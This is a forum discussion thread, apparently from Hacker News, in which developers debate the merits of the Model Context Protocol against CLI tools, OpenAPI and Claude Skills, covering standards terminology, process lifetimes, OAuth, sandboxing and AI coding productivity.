MCP allows any client (Claude, Cursor, IDEs) to dynamically discover and interact with any resource (Postgres, Slack) without custom glue code. Comparing it to local scripts is like calling USB a fad because parallel ports worked for printers. The power is standardization: write once, support every AI client.
Edit:
To address the security concerns below: MCP is just the wire protocol like TCP or HTTP. We don't expect TCP to natively handle RBAC or prevent data exfil. That is the job of the application/server implementation.
That is simply incorrect. It is not a wire protocol. Please do not mix terminology. MCPs communicate via JSON-RPC which is the wire protocol. And TCP you describing as wire protocol isn't a wire protocol at all! TCP is a transport protocol. IT isn't only philosophy, you need some technical knowledge too.
italics mine
https://en.wikipedia.org/wiki/REST
also REST is less about communicating, more about the high level user interface and the underlying implementations to arrive at that (although one could argue that’s a form of communicating).
the style does detail a series of constraints. but it’s not really a formal standard, which can get pretty low level.
—
standards often include things like MUST, SHOULD, CAN points to indicate what is optional; or they can be listed as a table of entries as in ASCII
https://en.wikipedia.org/wiki/ASCII
dictionary definition of a standard:
> standard (noun): An acknowledged measure of comparison for quantitative or qualitative value; a criterion
note that a synonym is ideal — fully implementing a standard is not necessary. the OAuth standard isn’t usually fully covered by most OAuth providers, as an example.
—
> The Model Context Protocol (MCP) is an open standard and open-source framework
again, italics mine.
https://en.wikipedia.org/wiki/Model_Context_Protocol
MCP, the technology/framework, is like Django REST framework. it’s an implementation of what the authors think is a good way to get to RESTful webpages.
MCP, the standard, is closer to REST, but it’s more like someone sat down with a pen and paper and wrote a standards document for REST.
They aren’t the same, but the have some similarities in their goals albeit focussed on separate domains, i.e. designing an interface for interoperability and navigation/usage… which is probably what you were really asking (but using the word protocol waaaaaaay too many times).
That said, I think as the above user points out, part of the friction with the name is that MCP is two parts, a framework and a standard. So with that in mind, I'd assert that it should be redefined as Model Context Interface Standard, and Model Context Interface Framework (or Integration or whatever other word the community best feels suits it in place of Protocol).
Ultimately though, I think that ship has sailed thanks to momentum and mindshare, unless such a "rebranding" would coincide with a 2.0 update to MCP (or whatever we're calling it) or some such functional change in that vein to coincide with it. Rebranding it for "clarity's sake" when the industry is already quite familiar with what it is likely wouldn't gain much traction.
A more precise analogy is likely LSP (Language Server Protocol). MCP is to AI agents what LSP is to IDEs. LSP defines how an editor talks to a language server (go to definition, hover, etc.), but it doesn't handle file permissions or user auth, that’s the job of the OS or the editor.
I don't think MCP is what actually enables that, it's LLMs that enable that. We already had the "HTTP API" movement, and it still didn't allow "without custom glue code", because someone still had to write the glue.
And even with MCP, something still has to glue things together, and it currently is the LLMs that do so. MCP probably makes this a bit easier, but OpenAPI or something else could have as easily have done that. The hard and shitty part is still being done by a LLM, and we don't need MCP for this.
That's why anthropic keeps walking back MCP towards just code. They'd run it back but that would be embarrassing.
My agent writes its own glue code so the benefit does not seem to really exist in practice. Definitely not for coding agents and increasingly less for non coding agents too. Give it a file system and bash in a sandbox and you have a capable system. Give it some skills and it will write itself whatever is neeeded to connect to an API.
Every time I think I have a use case for MCP I discover that when I ask the agent to just write its own skill it works better, particularly because the agent can fix it up itself.
Also, once you give it this general access, it opens up essentially infinite directions for the model to go to. Repeatability and testing become very difficult in that situation. One time it may write a bash script to solve the problem. The next, it may want to use python, pip install a few libraries to solve that same problem. Yes, both are valid, but if you desire a particular flow, you need to create a prompt for it that you'll hope it'll comply with. It's about shifting certain decisions away from the model so that it can have more room for the stuff you need it to do while ensuring that performance is somewhat consistent.
For now, managing the context window still matters, even if you don't care about efficient token usage. So burning 5-10% on re-writing the same API calls makes the model dumber.
For complex interactions it might be marginally more efficient to use an MCP server, but current SOTA models are good at cobbling together tools, and unless you're prepared to spend a lot of time testing how the models actually end up interacting with your MCP tools you might find it better to "just" describe your API to avoid a mismatch between what you expose and what the model thinks it needs.
[1] Slightly different, but fun: For code.claude.com, you can add ".md" to most paths and get back the docs as a Markdown file; Claude Code is aware of this, and uses it to get docs about itself. E.g. https://code.claude.com/docs/en/overview.md )
Useful for service providers who want to expose themselves to technical consumers without having to write custom sdk's that consume their restful/graphql endpoints.
The best implementation of MCP is when you won't even hear about it.
I definitely agree that it is currently pretty shit and unnecessary for agentic coding, cli's or some other solutions will come along. (the premise being the same though, searchable/discoverable and executable tools in your agentic harness is likely going to be a very good thing instead of having to document in claude.md which os and cli specific commands it should run (even though this seems far more powerful and sensible at this point in time))
You can give an LLM a shell into a container sandbox with basically nothing in it, or root shell on a live production server, or anything in between. Same goes for how much database access you want to give an LLM with your MCP shims.
The brutal truth: this is reality, stop pretending it isn’t.
A couple of choice quotes, which are echoed in this new article:
> I like to joke that one of the reasons it took off is that every company knew they needed an “AI strategy”, and building (or announcing) an MCP implementation was an easy way to tick that box.
> Almost everything I might achieve with an MCP can be handled by a CLI tool instead.
Especially if there is already an API perfectly described by an OpenAPI spec (note OpenAPI!=OpenAI ;)). Why should I host an additional MCP server or extra endpoints? Because it's trendy?
https://simonwillison.net/2025/Oct/16/claude-skills/#skills-...
Anyone here compared, by applying both to the same task?
Most of the “overhead” and “security nightmare” worries assume the worst possible setup with zero curation and bad ops. That would be messy with any integration method, not only with MCP. Teams that already handle HTTP APIs safely can apply the same basics here: auth, logging, and isolation.
The real value is that MCP stays out of your way. It does not replace your stack, it just gives tools a common shape so different clients and agents can use them. For many people that is exactly what is needed: a thin, optional layer, not another heavy platform.
You'll be surprised to learn that these are extremely common, even in large corporations. Security practice is often far from ideal due to both incompetence and negligence. Just this week, I accidentally got the credentials for the account used in our CI systems. Don't ask me how this could possibly happen.
> Don't ask me how this could possibly happen.
I found it a common misconception so I wrote about it here https://goto-code.com/dont-sleep-on-mcp/
So make sure to change to light-mode in the top-right if you want to read this article at all.
Though the more technically fun solution would be to use SVG instead of PNG because then the author could apply a whole dark mode color palette with CSS.
Thanks for flagging! I just pushed an update that should fix this
Looking at the post again, I think I agree that calling Claude Skills overengineered is too harsh. I think Skills is definitely an improvement over MCP.
However I still think it's a generally a mistake to put useful commands and documentation in AI-specific files. In my opinion a better approach is to optimize the organization of docs and commands for human usability, and teach the AI how to leverage those.
I do use Claude Skills, but only to wire up just commands. I wrote a little package to do this automatically: https://github.com/tombedor/just-claude
That's not a productivity boost. That's a rapid increase in cognitive tax you're offloading for later and as you get backlogged in reviewing it, you lose more control over what it does...
- Active X
- asbestos
- leaded gasoline and paint
- radium medicines
Well, with the exception of the first 3 actually being quite useful.
Shell scripting isn't easily sandboxed like that, just by checking a string to see if it beings with "just". If you want security you need to run commands inside an actual sandbox, and get data in/out of the sandbox in a well thought manner. See how browsers manage to run untrusted Javascript and wasm from actual malicious sites, and do exactly the same.
In this sense, MCP is much better than running commands in the local machine because all MCP does is an HTTP request. I don't need to run a MCP server that runs LLM-provided commands in my local machine, like, at all.
Think about how to provide your SaaS service to users of ChatGPT or Claude.ai (not only coding tools like VSCode). At one time, the user will need to allow the SaaS service to interact with their agent, and will have to authenticate in the SaaS service so that the agent can act on their behalf. This is all baked in the MCP spec (through OAuth) [1], and scripting can't beat that.
That's why the Extensions/Applications marketplaces of consumer AI assistants like ChatGPT Apps [2] are a thin layer on top of MCP.
Another domain where MCP is required is for Generative UI. We need a standard that allows third-party apps to return more sophisticated content than just text The MCP spec now encloses the MCP Apps specification [3], which is exactly that: a specification for how third-party apps can generate UI components in their response. On the other hand, scripting will only let you return text.
[1]: https://modelcontextprotocol.io/specification/2025-03-26/bas... [2]: https://help.openai.com/en/articles/11487775-apps-in-chatgpt [3]: https://github.com/modelcontextprotocol/ext-apps
This would be my critique of MCP-specific security implementations. I think robust tools for this already exist, and in general AI API calls can and should be treated like any other RPC call.
The security issue has been discussed many times in the past year.
Agree on the "one process per server" thing -- seems smart and convenient but gets worse when the number of MCPs and coding agents go up, especially when combined with the following point.
Lifetime is a real issue, and I am glad that someone talks about it. You probably won't worry the overhead for git, GitHub or Playwright MCP servers, where they are likely wrappers for some bash commands or rest APIs or everything is fast to launch. However, lifetime is still an issue, when you have multiple coding agents or sessions.
It gets worse for certain applications, especially heavy desktop apps (Imagine an MCP server for Lightroom classical) -- due to their application model, in order to evaluate a command, you'll have to load half of the application to do that. You'd think you only want to launch this once. But likely not. Each coding agent session will launch its own instance. Maybe this won't happen if the MCP server works extra hard to share processes and manage lifetimes on its own, but it totally depends on the third party provider, and the behavior could vary wildly.
Would a user want to deal with all these issues? If they are not careful, they'll easy launch 15 processes consuming 1G of memory for two coding agents, one of which does not actually use any of those servers, and one is simply sitting idle because the user hasn't started vibe coding yet.
(If this doesn't seem an issue to you, probably just because you haven't run into it first hand yet )
I think there has got to be a better way to do this.
I like your thought process, and agree with it all.
Everything other than what you described towards the end seems easy to build useful abstracts around.
I'm going to tackle the problem this weekend, probably just use Lightroom mcp as the example, I don't have any good ideas to begin with;
- These applications should probably adapt their codebase to the evolving landscape (that might take a while so in the interim...)
- Another easy idea, is to boot up a sandbox and runs the software, maybe even shares projects across mcp users or something, a service orientated model but pretty much sucks too
- Best but kind of worst idea I have so far is to just make a software service that users download and run that orchestrates software and processes etc (kind of like anti cheating software or something, with far too elevated permissions)
A bit stressed for time so couldn't distill what I think properly just yet, will edit later)
I'm just glad it's there as a standardized approach. Right now I can connect an MCP Clock to ChatGPT .com/iOS, Claude .ai/iOS/Claude Code/Claude .exe
It's wild that it's been over three years and these apps don't have a way to check the time without booting up a REPL, relying on an outdated system prompt comment about current UTC or doing web search for cached pages. Bill Gates would have added this to ChatGPT by Dec 2022
You can add my clock [https://mcpclock.firasd.workers.dev/sse] to any of your AI apps right now
(the code is directly deployed from this github to a cloudflare worker if you want to check what it does https://github.com/firasd/mcpclock/blob/main/src/index.ts)
i.e. assuming your agent has access to the terminal, and therefore CLIs, what additional value do MCPs provide?
> MCPs expose tools with defined schemas, parameters, and return types.
CLIs do exactly the same thing
> Stateful Connections
A chat session with an LLM is exactly that!
> MCPs can return structured data (JSON, complex objects)
So can an agent with a CLI. E.g. they can just take output and > file.json - now they have a json file.
> MCPs can expose "resources" - like file contents, database schemas, or API documentation - that I can read directly
If you mention these in your prompt to an agent, then they know where to look and can access them too (and use keys etc as necessary)!
> MCPs can send progress updates, ask for clarification, or stream results.
So can a chat session with an agent.
> MCPs can implement fine-grained permission controls and rate limiting at the protocol level.
Rate limiting is easy for an agent. Fine-grained permission could be limited by the user of the agent (e.g. by giving a restricted key for the agent to use), so possible if desired.
tl;dr no added benefit whatsoever.
[0] https://claude.ai/share/4b339fbd-a6db-4fcb-86cd-0e8493aab663
Burns a lot of tokens though and if you need more than batch-mode gdb to debug something the chances of an agent solving it today are very slim.
Claude Code wil happily start long-running processes and put in the background, and is able to refer back to them. You don't need MCP for that - you can hand the model handles to refer to background jobs just fine with just tool-calling.
The folks who wrote it have never written an RFC or an internet standard before.
Remember the VCs screaming about MCPs all day long last year? Well I don't see them doing that at all anymore, and called that 1 year ago. [0]
And then the whole MCP server take some part of the context, thus you get less context for your code.
MCP isn't a 96-page contract that covers every eventuality. It's a gentleman's agreement sealed with a firm handshake. And trying to write that 96-page contract now would be incredibly unwise.
A standard should cover every eventuality.
As mentioned in the article, its not clear to me what the advantage over OpenAPI is. Surely a swagger file solves more or less the same issue.
That said, one minor nice thing about the MCP servers is that they operate locally over stdin stdout, which feels a lot faster than HTTP/Rest.
- the ones who don't see any value on AI for coding and dismiss it as a fad at every change they get
- the ones who are in love with the new tools and adopting as many as they can on their workflows
I know the arguments of the second bunch well. But very curious about what the "AI is a fad" bunch thinks will happen. Are we going to suddenly realize all these productivity gains people are claiming are all lies and go back to coding by typing characters on emacs and memorizing CS books? Will StackOverflow suddenly return as the most popular source of copy-paste code slop?
If you have not learned CS, how do you expect to separate the LLM wheat from the chaff?
> Will StackOverflow suddenly return as the most popular source of copy-paste code slop?
Coding sites manually populated by humans are dead.
I didn't mention anything about learning CS. You can be a great engineer without having A* memorized line by line, no?
I'll grant you that many have become adamant that LLMs suddenly, out of the blue, became useful just last week, which is much too soon to have any concrete data for, but coding agents in some shape have been around for quite a while and in the data we have there isn't offering of any suggestion of productivity gains yet.
And I'm not sure many are even claiming that they are more productive, just that the LLMs have allowed them to carry out a task faster. Here's the thing: At least my experience, coding was never the bottleneck. The bottleneck has always been the business people squabbling over what the customers and business need. They haven't yet figured out how to get past their egos.
The most promise for productivity seems to be from lone startup founders who aren't constrained by the squabbling found in a larger organization and can now get more done thanks to the task shortening. However, the economic conditions are not favourable to that environment right now. Consumers are feeling tapped out, marketing has become way harder, and, even when everything else is in place, nobody is going to consider your "SaaS" when they believe the foundational LLMs will be able to do the same thing tomorrow.
There’s slop out there, yes, but in the hands of an engineer who cares to use tools well, LLMs allow you to move much more quickly and increase the quality of your output dramatically.
AI cannot produce better quality code than someone who is actually qualified in the problem domain.
What I've seen AI be very good at is creating a lot of legacy code very quickly, which itself needs extensive use of AI just to maintain it.
A decent approach to move quickly for PoC or prototypes, or to enable product managers to build things without a team. But obviously not something you can build a real company on.
Also most people who I see succeed from the start are technical managers. That is people who can code, who are used to delegate (good at phrasing) and are more likely to accept something that works even though is not character by character what they expected.
There is no responsibility with AI. It doesn't care about getting it right or making sure the code delivers on what the company needs. It has nothing to prove, no incentive to supporting anything.
Nah, I'll skip.
Because whem AI gets good enough there is no longer going to be code at all.
Which makes me sad, as a luddite.
For security, some sandboxing can address enough concerns that many developers feel comfortable enough using these tools. Also, you have things like version control and CI/CD mechanisms where you can do reviews and manually approve things. Worst case you just don't merge a PR. Or you revert one.
For business usage, the tools are more complicated, state full, dangerous, and mistakes can be costly. Employees are given a lot of powerful tools and are expected to know what to do and not do. E.g. a company credit card can be abused but employees know that would get them in jail and fired. So they moderate what they buy. Likewise they know not to send company secrets by email.
AI tools with the same privileges as employees would be problematic. It's way too easy to trick them into exfiltrating information, doing a lot of damage with expensive resources, etc. This cannot be fixed by a simple permission model. There needs to be something that can figure out what is appropriate to do and not under some defined policy and audit agent behavior. Asking the user for permission every time something needs to happen is not a scalable solution. This needs to be automated. Also, users aren't particularly good at this if it isn't simple. It's way too easy for them to make mistakes answering questions about permissions.
I think that's where the attention will go for a lot of the AI investments. AIs are so useful for coding now that it becomes tempting to see if we can replicate the success of having agents do complex things in different contexts. If the cost savings are significant, it's worth taking some risks even. Just like with coding tools. I run codex with --yolo. In a vm. But still, it could do some damage. But it does some useful stuff for me and the bad stuff is so far theoretical.
I run a small startup, a short cut to success here is taking a development perspective to using business tools. For example instead of using google docs or ms word, use text based file formats like markdown, latex, or whatever and then pandoc to convert them. I've been updating our website this way. It's a static hugo website. I can do all sorts of complicated structure and content updates with codex. That limits my input to providing text and direction. If I was still using wordpress, I'd be stuck and doing all this manually. Which is a great argument to ditch that in a hurry.
I don't necessarily like it writing text though it can be good to have a first shot at a new page. But it's great at putting text in the right place, doing consistency checks, fixing broken layout, restructuring pages, etc. I just asked it to add a partner logo and source the appropriate svg. In the past I would have done that manually. Download some svg. Figure out where to put it. And then fiddle with some files to get it working. Not a huge task but something I no longer have to do manually. Website maintenance has lots of micro tasks like this. I get to focus on the big picture. Having a static site generator and codex fast forwards me a few years in terms of using AI to do complex website updates. Forget about doing any of this with the mainstream web based content management systems any time soon.
I think Anthropic is happy with this development. Open sourced their secret sauce but many people are missing it
Most of the concerns can be addressed by a gateway service
You can do your own research.
MCP is simply a crappy implementation of this idea because our programming environments do not expose global remote function call mechanisms with well-defined protocols. The "everything is a file" idea is quite limiting these days.
Speaking of Smalltalk, I always imagined that you could integrate LLMs/actual artificial intelligence by giving them access to the internal data and telling them what you want to do, rather than calling a method. Instead of:
a := Point x: 0 y: 0
b := Point x: 5 y: 7
distance := a distanceTo: b
a := Point x: 0 y: 0
b := Point x: 5 y: 7
distance := a llm: "You are a point object. Please calculate the distance to the argument." arg: b